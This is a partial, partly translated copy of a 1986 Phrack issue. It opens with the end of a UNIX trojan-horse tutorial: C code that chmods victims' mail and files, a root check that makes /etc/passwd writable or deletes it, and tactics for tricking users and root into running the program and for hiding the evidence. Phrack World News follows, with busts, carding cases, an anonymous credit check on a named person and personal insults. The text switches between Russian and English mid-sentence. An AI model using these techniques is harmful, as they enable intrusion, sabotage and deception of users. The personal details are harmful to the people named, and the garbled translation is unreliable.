
Чтобы выполнить `trap`, введите:

```
% source trap            (again, don't type the %)
```

и отойдите от терминала...

После нескольких успешных запусков проверьте ваш файл `stuff` (или как бы вы его ни назвали). Он будет выглядеть примерно так:

```
user john has password secret
user mary has password smegma
etc.
```

Перепишите эти пароли, затем удалите файл (суперпользователь может увидеть его, и это будет ОЧЕНЬ компрометирующей уликой).

Примечание: для наилучших результатов ваш терминал должен быть настроен на тайм-аут после нескольких минут бездействия — иначе ваша программа-конь будет висеть 14 часов, если никто не подойдёт к терминалу.

Следующие проекты можно реализовать на удалённой системе — например, на VAX в Мичигане, который вы взломали, или на UNIX-системе Дартмута, или на любой другой. Однако они требуют

некоторых знаний языка C. Они не для новичков в UNIX.

Когда кто-то запускает программу, он является владельцем созданного процесса, и эта программа может делать всё то, что мог бы сделать он сам: удалять файл в его директории или открывать свои файлы для чтения другими.

Когда люди сохраняют старую почту, полученную в UNIX-системе, она помещается в файл `mbox` в их домашней директории. Этот файл бывает весьма интересным для чтения, но обычно недоступен никому, кроме его владельца. Вот короткая программа, которая откроет (то есть выполнит chmod 777 — позволит кому угодно в системе читать, писать и выполнять) файл `mbox` пользователя, запустившего эту программу:

```
include <pwd.h>

struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];

main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
        sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
        system(buf);
        }
}
```

Возникает вопрос: как заставить жертву запустить эту программу из моей директории?

Если в системе есть что-то вроде публичных сообщений (в 4.xbsd введите `msgs`), вы можете рекламировать там свою программу. Поместите приведённый код внутрь другой программы — найдите утилиту или игру в каком-нибудь журнале типа UNIX WORLD, модифицируйте её и добавьте описанный выше код так, чтобы он выполнялся перед основной функцией. Допустим, у вас есть программа крестики-нолики, и вы изменили её так, чтобы она открывала файл `mbox` пользователя перед началом игры — тогда напишите: «У меня есть новая программа для крестиков-ноликов, попробуйте обязательно. Она в моей директории» и тому подобное. Если возможности объявить всем через публичное сообщение нет, просто отправьте письмо конкретным людям, которых вы хотите поймать.

Если найти настоящую программу для модификации не получается, просто возьмите программу выше и добавьте эту строку между двумя закрывающими `}` в конце программы:

```
printf("Error opening tic-tac-toe data file.  Sorry!\n");
```

При запуске программа выведет это сообщение об ошибке. Пользователь подумает: «Хм, этот парень не умеет написать даже простые крестики-нолики!» — но смеётся последний тот, кто смеётся. Теперь вы можете читать его почту.

Если вас интересует конкретный файл в директории пользователя (допустим, он называется `secret`), набросайте вот такую программу:

```
main()
{
if ( access("secret",0) > -1 ) system("chmod 777 secret");
}
```

Затем поговорите с ним через `talk` или `write` и притворитесь неопытным новичком: «Я написал программу super_star_wars, не мог бы ты её потестировать?»

Дайте волю фантазии. Придумайте команду, которую хотите, чтобы кто-то выполнил. Поместите её в вызов `system()` в программе на C и обманом заставьте цель запустить вашу программу!

А вот очень изящный способ применить описанный приём:

Проект третий: стать суперпользователем

Напишите программу, которую вы сможете убедить кого-то запустить. Где-нибудь в ней поместите строку:

```
if ( !strcmp(getlogin(),"root") ) system("whatever you want");
```

Это проверяет, запущена ли ваша программа с логином root. Если да — можно выполнить любую команду оболочки на ваш выбор. Вот несколько вариантов:

```
"chmod 666 /etc/passwd"
```

`/etc/passwd` — файл паролей системы. Владеет им root. Обычно все могут читать его (пароли зашифрованы), но записывать в него может только root. Посмотрите, как он отформатирован, если ещё не знаете. Эта команда открывает вам возможность записывать в него — то есть создавать неограниченное количество учётных записей для себя и друзей.

```
"chmod 666 /etc/group"
```

Добавив себя в некоторые группы с высоким уровнем доступа, вы откроете перед собой множество дверей.

```
"chmod 666 /usr/lib/uucp/L.sys"
```

Поищите этот файл в вашей системе, если она подключена к сети uucp. В нём содержатся номера дозвона и пароли к другим системам в сети, и в обычных условиях прочитать его может только администратор uucp. Выясните, кто владеет этим файлом, и заставьте его неосознанно выполнить программу, открывающую его для вас.

```
"rm /etc/passwd"
```

Если вам удастся заставить root выполнить эту команду, файл паролей системы будет удалён, система упадёт и долгое время не сможет подняться. Это крайне деструктивное действие.

Если вы собираетесь внедрять программу-троянского коня в систему, следует придерживаться нескольких правил. Если скрытая цель программы масштабна (например, открытие чужого `mbox` или удаление всех его файлов), не стоит встраивать вредоносный код в программу, которую запускают часто (например, в популярную игру) — как только люди обнаружат, что их файлы в открытом доступе, источник проблемы будет найден очень легко. Приберегите эту цель для «тестовой» программы (скажем, игры, которую вы якобы пишете), которую по почте или в личном разговоре попросите запустить конкретного человека. Как уже говорилось, такая «тестовая» программа может завершиться с ошибкой или вывести фиктивное сообщение о ней после выполнения задачи, а вы просто скажете человеку: «Ну, видимо, нужно доработать», подождёте, пока он выйдет из системы, и прочитаете тот файл, который вы открыли. Если же ваш троянский конь направлен против конкретного пользователя — например, root или другого привилегированного пользователя, — встройте соответствующий код в программу, которую часто запускают разные пользователи системы. Ваша модификация будет бездействовать до тех пор, пока именно он не запустит программу. Если вы не можете найти исходный код «Star Trek» или чего-то подобного на C, просто выучите C и переведите что-нибудь с Pascal. Учить C не помешает — это отличный язык. Мы только что увидели, что он умеет в UNIX-системе. Как только вы поймали root (то есть получили возможность изменять `/etc/passwd`), удалите лишний код из троянской программы — и вас никогда не найдут.

Вот и всё... если у вас есть вопросы, комментарии, или вы просто хотите высказаться — позвоните:

The Matrix
415/922-2008
101 megs, IBM warezzz, 2400 baud, Phrack sub-board, etc.

Lord British, я *смею* тебя вызвать.

```
(>
================================================================================
```

Phrack World News VI, часть 1

Составил и написал: Knight Lightning

Oryan QUEST против Dan Pasquale

21 июня 1986 года

Да, наш приятель с west coast снова в деле, на этот раз против Oryan QUEST. Oryan QUEST был busted 6 апреля 1986 года, см. PWN Issue IV Part 2, за hacking AT&T Mail, San Mateo Police Department и FBI. Из-за legal technicalities обвинения были dropped, но computer Oryan был confiscated and never returned. С тех пор он купил новый computer, IBM AT, и теперь снова среди нас.

Считается, что кто-то, Dan Pasquale, должно быть, нашёл notebook Oryan, где содержались его passwords на bulletin boards around the country. Один пример — `The Radio Station Incident`, см. PWN Issue IV Part 3, где fake Oryan QUEST wandered the BBS и, когда его спросили о legitimacy, quickly dropped carrier.

Совсем недавно Oryan QUEST получал job offers in computer security. He hasn't accepted any at this time. Также он получил несколько calls from Dan Pasquale. Dan wants Oryan's help to bust any and all hackers/phreaks. Dan is very pissed these days because someone charged 1100 dollars worth of Alliance Teleconferences to his phone bill, and now he wants revenge.

Он stated that one of his main projects is to bust P-80, sysoped by Scan Man. Dan Pasquale says that Scan Man works for a long distance communications carrier. Personally, I think he has as much of a chance of busting P-80 Systems as a snowball staying frozen in a microwave.

Let's face it: if John Maxfield and the other investigators haven't busted P-80 yet, they never will, let alone some little police sergeant in California.

Dan also added that he is going to `hose` Speed Demon Elite. He claims that he is already a member of SDE and that it's only a matter of time before he takes it down forever. He also mentioned that he has placed a Dialed Number Recorder, DNR, on Radical Rocker's phone lines. Furthermore, it was learned that Dan Pasquale managed to get an account onto The Underground, sysoped by Night Stalker. It is unknown whether Dan has anything to do with Night Stalker's bust.

Dan Pasquale also said: `I will bust these hackers any way I can!` To really understand what that statement means, you would probably have to live in California. What Pasquale was referring to was moving violations. If you, a driver under 21, receive any type of moving violation, both your insurance company and your parents are notified. This raises your insurance rates and gets you into trouble. If you get two moving violations, kiss your license goodbye for at least two years.

Radical Rocker, having heard about Dan Pasquale's plans to destroy Speed Demon Elite, went on a user purge and has destroyed any and all accounts held by those he did not know personally. Speed Demon Elite is now a private BBS, and supposedly Radical Rocker has now cleared things up with Dan Pasquale.

```
Information provided by Oryan QUEST and Radical Rocker
```

Marx and Tabas: the full story

1 июля 1986 года

It all started with Cory Andrew Lindsly, aka Mark Tabas, age 19. He worked for the Colorado Plastic Card Company and had access to the plastic cards that credit cards were made with. He had taken 1350 and stashed them away for later usage.

His plan would have gone perfectly if not for Steve Dahl. He was busted in Miami by the U.S. Secret Service for whatever reasons. They gave him a chance to play ball. Dahl had heard about Mark Tabas and Karl Marx's scheme, and after informing the Secret Service about this he was given an embossing machine.

Steve Dahl then flew to Denver and set up the meeting. Mark Tabas lived in Denver and wanted his friend James Price Salsman, aka Karl Marx, age 18, to join in on the fun. So Marx flew down on a carded plane ticket that Tabas had signed for.

The meeting took place in a room at the Denver Inn. The room was bugged, and 19 cards, Visa, MasterCard and some blanks, were made from a possible 140 that they had brought. They decided to celebrate by ordering champagne on the card of Cecil R. Downing.

A member of the Secret Service actually delivered the champagne to the room disguised as a waiter. Tabas signed for the drinks and the twosome were nailed. To make matters worse, the Secret Service also matched Tabas's signature with the signature used to buy the carded plane ticket.

The sentencing goes like this:

```
Maximum: 10,000 dollars   (Local Law)
Maximum: 250,000 dollars  (Federal Law)
Maximum: 10 years in jail (both)

Or any combination of the three.
```

Both Tabas and Marx were let out on bail of five thousand dollars each. The actual charge is: the manufacturing and possession of unauthorized access devices. U.S. Magistrate Hilbert Schauer will be overseeing the case.

There is a rumor that charges on Salsman were dropped and that he is in no trouble at all, since he didn't actually buy the plane ticket, he was given it, he didn't steal the cards, and he didn't emboss them. So supposedly the Secret Service let Marx go because he didn't know about the cards; he was just there at the wrong time.

```
Information provided by The Denver Post and Sally Ride:::Space Cadet
```

The Saga Of Mad Hacker

15 июля 1986 года

Mad Hacker of 616 NPA wrote a random Compuserve hacker because he was bored and wanted something to do. It ran constantly for about a week, and he was surprised when it came up with an account. However, he made the mistake of not checking to see whose account it was. He used the SIGs, Special Interest Groups, and ran up a bill slightly under 300 dollars.

About a month later he was living over at a friend's house, and the owner of the account showed up, who just happened to be a family friend of the people MH was staying with. He asked both of them, the teenagers, if they were using his account. They all had Compuserve accounts and the family knew they were computer buddies. Mad Hacker said no and truthfully meant it.

Around July 1, 1986, the account owner turned the matter over to the Kalamazoo Police Department, since CIS, Compuserve, could not find anything out beyond the dialup used to access the account. The police

called around to everyone in the area, where `everyone` means all the real hacks and phreaks, not rodents who think they're bad because they use handles, including Thomas Covenant and Double Helix. Most of everyone instantly forgot that Mad Hacker ever existed, but somehow they got hold of the phone number where he was staying, at the time his girlfriend's house, and contacted the owner of the account and put out a warrant for Mad Hacker's arrest.

As of now, Mad Hacker faces felony charges because of the large amount of the bill. The warrant for his arrest has been suspended, letting the account owner handle things in his own way. The owner has confiscated all of Mad Hacker's computer equipment, three computers and hardware, until the bill is completely paid back.

Mad Hacker has progressed from merely delivering clever obscenities over the phone to his adversary to actual vengeance. One example in the planning stages will be in the form of camping out in said account owner's backyard, in a rural area, hooking up to a junction box and running the account owner's long distance phone bill out of sight.

Mad Hacker is supposed to have a file on Junction Box Modeming coming soon; he is currently borrowing a computer from a friend.

```
Information provided by Thomas Covenant
```

Lock Lifter busted

2 июля 1986 года

Lock Lifter was busted for hacking an MCI VAX. He had downloaded a list of MCI Calling Cards that he later abused, and in return he received a free DNR on his line for about three months. He was also given a scare from MCI Investigations, for unknown reasons, previous to his visit from law enforcement officers. As such, his BBS, The Black Chamber, was deleted and the userfiles were destroyed, so there really isn't much to worry about from the users' standpoint.

Lock Lifter had been making plans to take his board down anyway, so being without The Black Chamber is just an adjustment we would have had to make eventually regardless of Lock Lifter's bust.

```
Information provided by Arthur Dent / Cyclone II / Kerrang Khan / The Seker
```

Some notes from Cheap Shades:

> *I was told by Arthur Dent that Lock Lifter did not have his computer anymore, but someone using LL's password called my AE, Metal Shop AE, for which he had lost his AE access but could still log on, and left me feedback in all caps, not like LL would do, that said something like PLEASE GIVE ME ACCESS TO THE GO AE FUNCTION.*

Arthur Dent has now confirmed that Lock Lifter did not make the call in question and that there is definitely a fed or someone with Lock Lifter's BBS passwords. Sysops be warned.

Daniel Zigmond: the plot thickens

13 июля 1986 года

Daniel Zigmond appeared, for a short time, on Pirate-80. Scan Man let him on to make a statement and then shut him off the board. It is now left to the users to decide whether or not he should be allowed back on.

```
Information by Sally Ride:::Space Cadet
```

Some sources say that we are seeing `Whacko Cracko` syndrome, where the story gets more and more bizarre as versions get modified. Like TWCB, Zigmond supposedly says one thing to one person and something different to the next, depending on what he thinks they may want to hear.

The following information was found in an anonymous post on an unspecified bulletin board. It would appear that someone performed a credit check on Daniel Zigmond, with TRW, and came up with some very interesting results.

As many of you should know, TRW keeps records of all major transactions you make, credit cards you have, house or car payments, bank accounts you own, your job and many other things. Daniel Zigmond's TRW account is a little different: it has been flagged and the information is not there. What it does show is that Daniel Zigmond holds the position of Staff Programmer at Carnegie Mellon University, a technical school in Pittsburgh, Pennsylvania. It also shows that he was born in 1959, and although it would appear that he is 27, Daniel claims to be 26. TRW lists his only bank account as being at the Pittsburgh National Bank.

What this would mean is that Zigmond has never owned a car, never rented a car, never owned or rented a house, never had a credit card, never made any major transactions and has only one bank account.

During teleconferences on July 15 and 16, several members of the PhoneLine Phantoms and myself questioned Zigmond about his TRW account and several other things. Zigmond claims to know nothing about why his account is like this, and up until we brought up the fact that he worked at CMU, he had been telling people that he was a reporter only.

As far as his reasons for needing codes, passwords, etc., he says it's so his boss, whomever it will be, will believe the story. Why shouldn't he believe it? Haven't there been enough articles on hackers and phreakers in the past? It's been in the news very often, and I'm sure everyone remembers the Richard Sandza articles, `Night of The Hackers` and `Revenge of The Hackers`, from *Newsweek Magazine*.

Most recently Daniel Zigmond has been speaking with several members of the Neon Knights, and he has obtained an account on the BBS World's Grave Elite, sysoped by Sir Gamelord, the Vice-President of the P.H.I.R.M.

All hackers and phreaks are welcome to call him to be interviewed, although I advise against it. Please do not call up to rag on him because it is pointless. One example happened during the second conference when someone called on Danny's other line. They said `did we wake you up?` Danny said `no`, and then they hung up.

```
Information provided by Daniel Zigmond
```

TeleComputist: subscribe now

25 июля 1986 года

From: Forest Ranger and TeleComputist staff
To: You!

TeleComputist has had a very positive response up to this time, and we have received many requests for the free sample issue. Now it is time to subscribe.

For the sample free issue, please send a self-addressed stamped envelope with 39 cents postage to:

```
TeleComputist Newsletter
P.O. Box 2003
Florissant, Mo. 63032
```

Also, please send subscriptions to the same address. The subscription fee for the newsletter will be twelve dollars a year, fifty cents for back issues. This is a monthly circulation and we encourage letters.

```
Information provided by Telecomputist Staff

Telecomputist Newsletter/BBS (314) 921-7938
```

KL's notes: both Taran King and I have seen the first issue, and it is damn good. This is not a scam. We know the TeleComputist staff personally, and they will not rip you off. The newsletter itself is of fine quality both in its print and content. The sample issue was merely a shadow of the upcoming issues, and it will continue to get better as time goes on. It is definitely worth the twelve dollars for the year subscription.

Phrack World News VI, часть 2

Составил и написал: Knight Lightning

U.S. Telecom retiring Uninet

26 мая 1986 года

Uninet is coming down

Reston, Virginia. U.S. Telecom Data Communications Company, Uninet Packet Switching Network, will be retired as a result of the proposed merger of the company with GTE Telenet Communications Corporation.

The move came to light last week as a joint transition study team completed a plan detailing how the two companies will be merged. The merger is a result of a joint venture spawned by the two companies' parents, GTE Corporation and United Telecommunications Inc.

The packet switches and related equipment which make up Uninet will be sold where possible, but a good deal of the equipment is likely to be discarded, a spokesman for the joint venture said.

Under the plan, the capacity of GTE Telenet Packet Switching Network will be increased to handle additional traffic resulting from transference of U.S. Telecom customers to Telenet, according to the spokesman.

The study groups considered integrating Uninet and Telenet because the external interfaces of each network are compatible, but the internal protocols each network uses for functions such as network management are substantially different, and any attempt toward integration would require a massive development effort, the spokesman said.

Moving Uninet's traffic to Telenet is far cheaper. Telenet currently supports six times as much traffic as Uninet, which means Telenet's capacity must only be incremented by one sixth.

Uninet will be phased out over a 120-day transition period, to begin when the joint venture is approved. The merger plan calls for all personnel of U.S. Telecom and GTE Telenet to be offered jobs with U.S. Sprint, now called U.S. Sprint, not Sprint/U.S. Telecom company since the recent merger. The new company is headquartered in Reston, Virginia, where GTE Telenet is currently headquartered.

```
Submitted by Scan Man to Phrack Inc.
From Communications Week, May 26 issue
```

P-80 Newsfile

Computer Crime Bill amended

14 мая 1986 года

After three years of Congressional hearings, the U.S. House of Representatives is finally getting ready to act on a computer crime bill. But like everything else in Congress, many different people have input, and the focus and scope of pending computer crime bills have changed in important ways during the past few

months.

When bills are altered significantly, they are often written as `clean bills` and given new numbers. Computer crime measures are changing so fast it is difficult to keep track of them.

What started out as The Counterfeit Access Device and Computer Fraud Act, HR 1001, became late last month The Computer Fraud and Abuse Act, HR 4562, which, although it has retained the same title, is now dubbed HR 4718 following the addition of some minor amendments.

The new bill, sponsored by Rep. William Hughes, D-N.J., is very similar to the old one, however, and would impose severe penalties for illegally accessing government and financial computers and crack down on illegal computer bulletin board systems.

For more information on HR 4718, check the menu for bills in the U.S. House of Representatives in the Legislation Database.

```
Information provided by Cathryn Conroy
```

House Committee approves new Computer Crime Bill

14 мая 1986 года

The House Judiciary Committee has approved and sent to the full House a new computer crime bill that would impose severe penalties for illegally accessing government and financial computers and crack down on illegal computer bulletin board systems.

The bill, HR 4718, sponsored by Rep. William Hughes, D-N.J., was passed by voice vote with no objection. It is aimed at closing loopholes in existing law and at helping to eliminate the `national malaise` of computer crime, Hughes said.

The bill `will enable us to much more effectively deal with the emerging computer criminal in our society`, said Hughes, who chairs the House crime subcommittee.

Rep. Bill McCollum, R-Fla., the ranking Republican on the crime subcommittee, added his support for the bill. He said it is time the nation began cracking down on computer criminals.

> *We demand privacy, yet we glorify those that break into computers, McCollum said, citing films and television shows that have painted a sympathetic portrait of computer criminals.*

The committee agreed to a single amendment to the bill, one that would extend the list of computer systems protected by the measure to include those run by brokers and dealers regulated by the Securities and Exchange Commission. McCollum, who sponsored the amendment, said the brokers and dealers provide some of the same services as banks and should receive equal protection against computer trespassers.

The bill was reported out unanimously from the crime subcommittee. Hughes said an identical companion measure is moving through the Senate and that he expects the bill will become law before the end of the 99th Congress in December. Hughes and McCollum agreed that the bill will help eliminate another glaring example of the failure of existing federal law to keep pace with technological advances.

> *For the most part, our laws are rooted in the concept of property crimes, where someone trespasses into or steals another person's property. With computer crimes, the trespassing or theft is done electronically, not physically. Although the losses are often just as great or even greater than property crime, our laws are not current enough to keep pace with the changing technology used by the criminals.*

Hughes was the author of the nation's first computer crime law in 1984. That bill established a new federal crime for unauthorized access to classified information in government computers and a misdemeanor for accessing any federal computer or computer containing financial or credit information. The new measure would establish:

• New felony for trespassing into federal interest computers, those run by or for the federal government, banks or states. Offenders would face five-year prison terms.
• Second felony for maliciously trespassing into a federal interest computer and causing more than 1000 dollars in damage.
• New category of federal misdemeanors involving the use of illegal BBSes to post private information, such as credit card data, phone account information and passwords.

> *We need to establish clear guidelines for protecting the information stored in computers and for cracking down on those who knowingly put computers to criminal or malicious use, Hughes said.*

`Information provided by J. S. Orr`

Access to government computers clarified

9 июня 1986 года

Sen. Charles McC. Mathias, R-Md., has introduced a bill in the U.S. Senate that would amend Section 1030 of Title 18 of the United States Code with the purpose of clarifying coverage with respect to access to computers operated for or on behalf of the federal government.

The legislation would clearly impose penalties on anyone who modified, destroyed or prevented use of information in a government computer system, or who used or disclosed individually identifiable information in such a computer. The bill has been referred to the Senate Committee on the Judiciary. No subcommittee has yet been assigned.

TAP Interviews II, by Dead Lord

14 июля 1986 года

The infamous Dead Lord is back, and this time with an anonymous rag file that he entitled `TAP Interviews II` to start people thinking that The Infiltrator had written it. Let's look at this file in parts.

First Dead Lord starts out by saying that he is Infiltrator and then changes his mind and becomes Sharp Razor, who is supposedly in prison. His first interview was an imaginary exchange of words between him and Lex Luthor of the Legion of Doom. The interview also was used to rag on Infiltrator by the way it was presented.

Dead Lord then decided to interview Executive Hacker of Chief Executive Officers, CEO. The funny part about this interview is that Executive Hacker is another handle used by Dead Lord. The only rag mentioned was that Executive Hacker didn't know that Ultima IV had been released and that there were only two members in CEO. Dead Lord then goes on to say: `LOD is a group of egotistical fools...`

Then started the straight rags without the interview crap. This is where old Dead Lord gives his opinion on everything. For the first few paragraphs he rags on The Doctor, SpecElite, pirates in general, Monty Python and The Flying Circus BBS.

Then he starts giving descriptions of the people who attend the weekly TAP meetings:

> *Cheshire is a tired old man, Broadway Hacker, who is an obnoxious slob anyway, stopped going, the* `950 codes kids` *Ninja NYC and his pals have mostly moved on, though Ninja NYC still attends. Ninja NYC is, at 17 years old, a complete criminal, the guy has stolen everything you can think of...*
>
> *Two Sigmund Frauds also attend, they are partners. One is a skinny asshole who has an earring and the other I never spoke to, but he is the one who supposedly does all the BBS calling. There is also some friend of Ninja's who works for Northern Telcom.*
>
> *There is some young guy with a French accent who always smiles, and some middle aged fag who is always talking. Then there is Mark. Ye Mark, though he tries to be friendly, people try to stay away. He works at a camera... He is slightly, very, unbalanced mentally, and always very confused. He is teased constantly but tolerated.*
>
> *There are also a few less important people, such as* `Sid`*, some greasy kid who is proud to have had a 1700+ dollar phone bill because he thought he was using a diverter. Right now, they are generally a motley bunch. Also they get kicked out of restaurants frequently now, and are down to meeting at Burger King. How pitiful...*

After all of the above bullshit, he talks about Lord Digital, his `cult`, and his adventures with Paul Muad'Dib. Dead Lord still had more to say, though. He decided to bring up Monty Python again, as well as Phrack, TWCB, Stronghold East, Private Sector and 2600 Magazine. All of what he had to say was completely bogus, and Dead Lord claimed to be a member of Metal Shop Private, although he called it Metal Shop Elite, which is untrue. Fact is, he was never a member, not even on the old MSP. He also claims that he has submitted articles for Phrack, but was turned down because they were original files. Best bet is that whatever he was writing, he didn't know what he was talking about.

Some notes to Dead Lord, as far as why Taran King was in the hospital: first off, it was a psychiatric ward, not a `hospital`. Second, why don't you go and read PWN 5-1 for the real story of what happened. Third, the co-sysop of Stronghold East is not The Slayer, it is Slave Driver.

The truth is that both MSP and SE refused to let Dead Lord on, and he holds a grudge. He then went on to say that both 2600 Magazine and Private Sector sucked and that they always have. Of course, I am sure that Dead Lord could easily put out a better magazine than either 2600 or Phrack Inc., and he of course has shown that he can run a better BBS than Private Sector or Metal Shop Private. He ragged on several other bulletin boards such as Inner View and Speed Demon Elite.

After all that, he comes back to the subject of Legion of Doom, starts on Tribunal of Knowledge, and then says why Chief Executive Officers is better.

> *LOD's main claim to fame is that Lex Luthor types up shitloads of manuals and plasters LOD all over them. Getting published in 2600 every other month probably helps also.*
>
> *Another emerging group, CEO, isn't as ridiculous as LOD. I mean the members, all two of them, know a lot and write intelligent stuff...*
>
> *Executive Hacker and Corporate Criminal, not much of a group even if these two do stack up better than the entire LOD.*

His last rags were on Adventurer's Tavern and Disk Rigger.

Most of you by now are probably wondering how we tracked him down. Well, for starters Dead Lord made it a lot easier on us by deciding to mention that he lived in NYC. He also talked a lot about others in the NYC area. Dead Lord is a member of Draco Tavern. Dead Lord was refused access to Metal Shop Private and Stronghold East. Dead Lord's file was refused for Phrack Inc. The clincher, however, was in finding that Dead Lord was actually Executive Hacker, and I'm sure that many of you noticed that CEO, the group Executive Hacker belongs to, was highlighted and not ragged on.

Some other interesting things about Dead Lord include the fact that he started a rumor in New York City that Taran King had appeared on a talk show dealing with hackers, and that he is responsible for giving out Sigmund Fraud's and Ninja NYC's numbers to Daniel Zigmond, and he probably has given him other numbers as well.

It has been said that Dead Lord's phone number has been disconnected by outside sources several times in the past and that the entire TAP Meeting attendees group is out to cause him major physical damage.

Quicknotes

MOB RULES was indicted on five counts of wire fraud by the Secret Service; the charges dated back to 1984. This is supposedly part of the reason that The Marauder took down Twilight Zone, but this is pure rumor.

More talk about Broadway Hacker being a real fed or fed informant has sprung up. We at PWN are looking for factual evidence that this is true.

Night Stalker, sysop of The Underground, was busted for something dealing with Transference of Funds. It is unknown whether Dan Pasquale had anything to do with this bust. Credit card numbers were frequently found there as well. His phone line is being tapped and he cannot really discuss his bust too much. He is also under constant surveillance wherever he goes. Look for a full story in Phrack World News VII.

The rumor that Carrier Culprit was busted is untrue, but he did receive a call from AT&T Security regarding Alliance Teleconferencing Services.

Phrack World News VI, часть 3

Составил и написал: Knight Lightning

HoloPhax Phreaker vs. USA

16 июля 1986 года

Ниже приведён сегмент summons, served to HoloPhax Phreaker on the above date. Actual summons был over 10 pages long and was mostly depositions from witnesses and/or other testimonies that incriminate HoloPhax Phreaker. I am, of course, substituting HoloPhax Phreaker for his real name.

```
The United States of America and the State of Florida Vs. HoloPhax Phreaker
```

U.S. and Florida citizen HoloPhax Phreaker is believed and under suspicion to have violated the following state and federal laws:

```
U.S. Copyright Laws
U.S. Telephone Infringement Act
Florida State Telephone Harassment Laws
```

Reported a false emergency to or harassed the following state bureaus:

```
Seminole County Police Department
Seminole County Fire Department
Orange County Emergency Line (911)
Orange County Police Department
Orange County Fire Department
Orange County Bomb Squad
Orange County Special Weapons Attack Team (S.W.A.T.)
```

And the following federal bureaus:

```
Federal Bureau of Investigation (F.B.I.), Tampa office
Federal Bureau of Investigation (F.B.I.), Orlando office
United States Secret Service, Orlando office
National Security Agency, Washington D.C. office
Central Intelligence Agency (C.I.A.), Washington D.C. office
Internal Revenue Service (I.R.S.), Tallahassee office
United States Marine Patrol, Titusville office
```

And to have harassed the following private citizens or companies:

```
John F. Sheehan          Bob Driscol          Erwin V. Cohen
Phillip Minkov           Margaret Branch      Harley Pritchard
Gladys Smith             Kathleen Gallop      Frank Yarish
Aida Smith               Ron L. Ebbing        Pat C. McCoy
Kent Schlictemier        Doyle E. Bennet      Arthur Meyer

Rape Crisis Center
Poison Control
Spouse Abuse
Koala Treatment Center
Chemical Dependency Unit
Florida Hospital Center for Psychiatry
Orlando General Hospital; Alcohol and Chemical Dependency Unit
Cocaine Hot Line
```

U.S. and Florida citizen HoloPhax Phreaker is also believed and suspected of the following felonies and/or misdemeanors:

```
Illegal manipulation of telephone company controlled conversations and devices
Fraudulent Use of a Credit Card, i.e. carding
Grand Theft
```

```
Possession of Stolen Property
Defrauding the Telephone Company, i.e. phreaking
Illegal Entry, i.e. hacking
Annoying or Harassing calls
Theft
Breaking and Entering
Assault and Battery
Harassment of a Government Emergency line
Threats to the life of the President of the United States of America
Possible Treason to the United States of America
```

Well, wasn't that nice, especially the parts about treason and threats to the life of the President of The United States of America.

HoloPhax Phreaker claims that the majority of the crimes, including all of the harassment charges, were committed on an Alliance Teleconference that he was not in control of and as such had no control over what or who was called and what happened. One example has to do with threatening the life of the President. HoloPhax says that this was done on a conference with the U.S. Secret Service.

It all started with a phone call at about 12:30 PM on July 16, 1986. The call was placed from a CB, Citizen's Band, radio in a car. The unknown caller told HoloPhax that the police were on their way to search his house and would be there in 15 minutes. The caller also said that law enforcement officials had a warrant to search HoloPhax's property, however they did not specify what was to be looked for. HoloPhax grabbed everything he could and buried it all in his backyard.

Sure enough, within 15 minutes his expected guests arrived. One cruiser and four unmarked vehicles pulled up, blocking his and the neighbor's driveways. About sixteen people came to the door, and HoloPhax let them in, after all they did have a warrant. Several of them pushed HoloPhax aside and then the search started on the first floor. While some searched through the sofa, other furniture and drawers, a couple of them flashed the warrant as well as their identification: U.S. Secret Service and National Security Agency.

They then went up to HoloPhax's room and immediately checked his phone's, computer's and television's serial numbers. They also took around 30 pictures of things in his room. They then searched through stacks of worthless printouts and confiscated several dozen of his disks that contained pirated terminal programs, utilities, text files and games.

When they couldn't find any hack/phreak material or a modem, they became angry and started ripping the sheets off the beds, pulling up the carpet from the floor and knocking on the walls. While most of them were doing this, another agent handed HoloPhax a paper that stated exactly what they were looking for.

He told HoloPhax that since they had not found anything on the list, they could only leave with what little they had and could not take HoloPhax into custody. They searched a couple of other rooms, but not as thoroughly as they had searched HoloPhax's room. They had taken books off the shelves and flipped through their pages, looked inside pillow cases and under some loose boards in the floor. After one to one and a half hours they finally left and said that HoloPhax would be contacted very soon for a hearing date.

One of the more interesting members of the search team was Richard Proctor, see PWN 5-5 for more information on Richard Proctor.

He wore little round tinted glasses so you couldn't see his eyes. He had long brown hair, longer than a business person should, and was wearing a suit. He had fair skin, but he wasn't really tan. He looked like a mix of a dude out of Woodstock and someone from IBM management. He didn't say much and only spoke directly to HoloPhax once. He asked: `Where the fuck are you hiding the codes!?` HoloPhax responded with: `Go fuck your sister!` This really pissed Proctor off. Proctor then proceeded to tear up his room pretty badly. He seemed to know as much about HoloPhax as the NSA and Secret Service guys did, but then he was probably briefed ahead of time.

There was also a representative from the local sheriff's department as well as one from the FBI. They asked HoloPhax several questions, most of them directed to a `mafia` type group called PHBI that is semi-local to HoloPhax's area.

They seemed to want to connect HoloPhax to many `hits` PHBI had done on people, businesses and the government. They did not make clear what it was they were trying to say HoloPhax did, but they sure did try many ways of tricking him into admitting that he was a member of this group or some other phreak or anarchist league.

Going back to the summons, it was about ten pages long and most of it was printouts of accounts on bulletin boards and interviews with people that knew something of HoloPhax's activities or activities of close acquaintances.

The Infiltrator and HoloPhax used to go to the same school in 10th grade, and in the summons there was an interview with the police officer of that school that mentioned some of the jobs that they had pulled there and never got caught for. Infiltrator was also mentioned in a note by some guy named John Sheehan, who had been harassed by phone and credit for one and a half years. He said that HoloPhax and Infiltrator were responsible for the 140 hours of tape he had. Infiltrator was also mentioned in several BBS printouts.

The law enforcement officials did acquire several of the older issues of Phrack Inc. Newsletter, and they kept trying to make HoloPhax admit to writing files on credit fraud, phreaking or hacking. Specifically, as far as hacking, they asked about files on MILInet and ARPAnet.

The handle they were looking for was Agent Orange, which HoloPhax had gone by for six years. He changed his handle to HoloPhax after an incident that took place roughly a year ago when HoloPhax was busted for hacking Compuserve and NASA accounts. Law enforcement officers had also tried to get him for phreaking, but that attempt failed.

As far as the mysterious phone call before the bust, HoloPhax thinks that maybe PHBI got wind of what was going down and warned him. How or why, he doesn't know. It is really unknown why he is suspected of being a member of this group.

HoloPhax admits a guilty plea for the charges of Illegal Entry, hacking, Defrauding the phone company, phreaking, a little harassment and possession of stolen property. He pleads innocent to the rest of the charges.

HoloPhax's last statement was that he will be back into hack/phreaking in the near, maybe distant if convicted, future. He is always available for conferences if you have questions.

```
Information provided by HoloPhax Phreaker
through interview with Knight Lightning
```

Lightman's stories: hoax or fact?

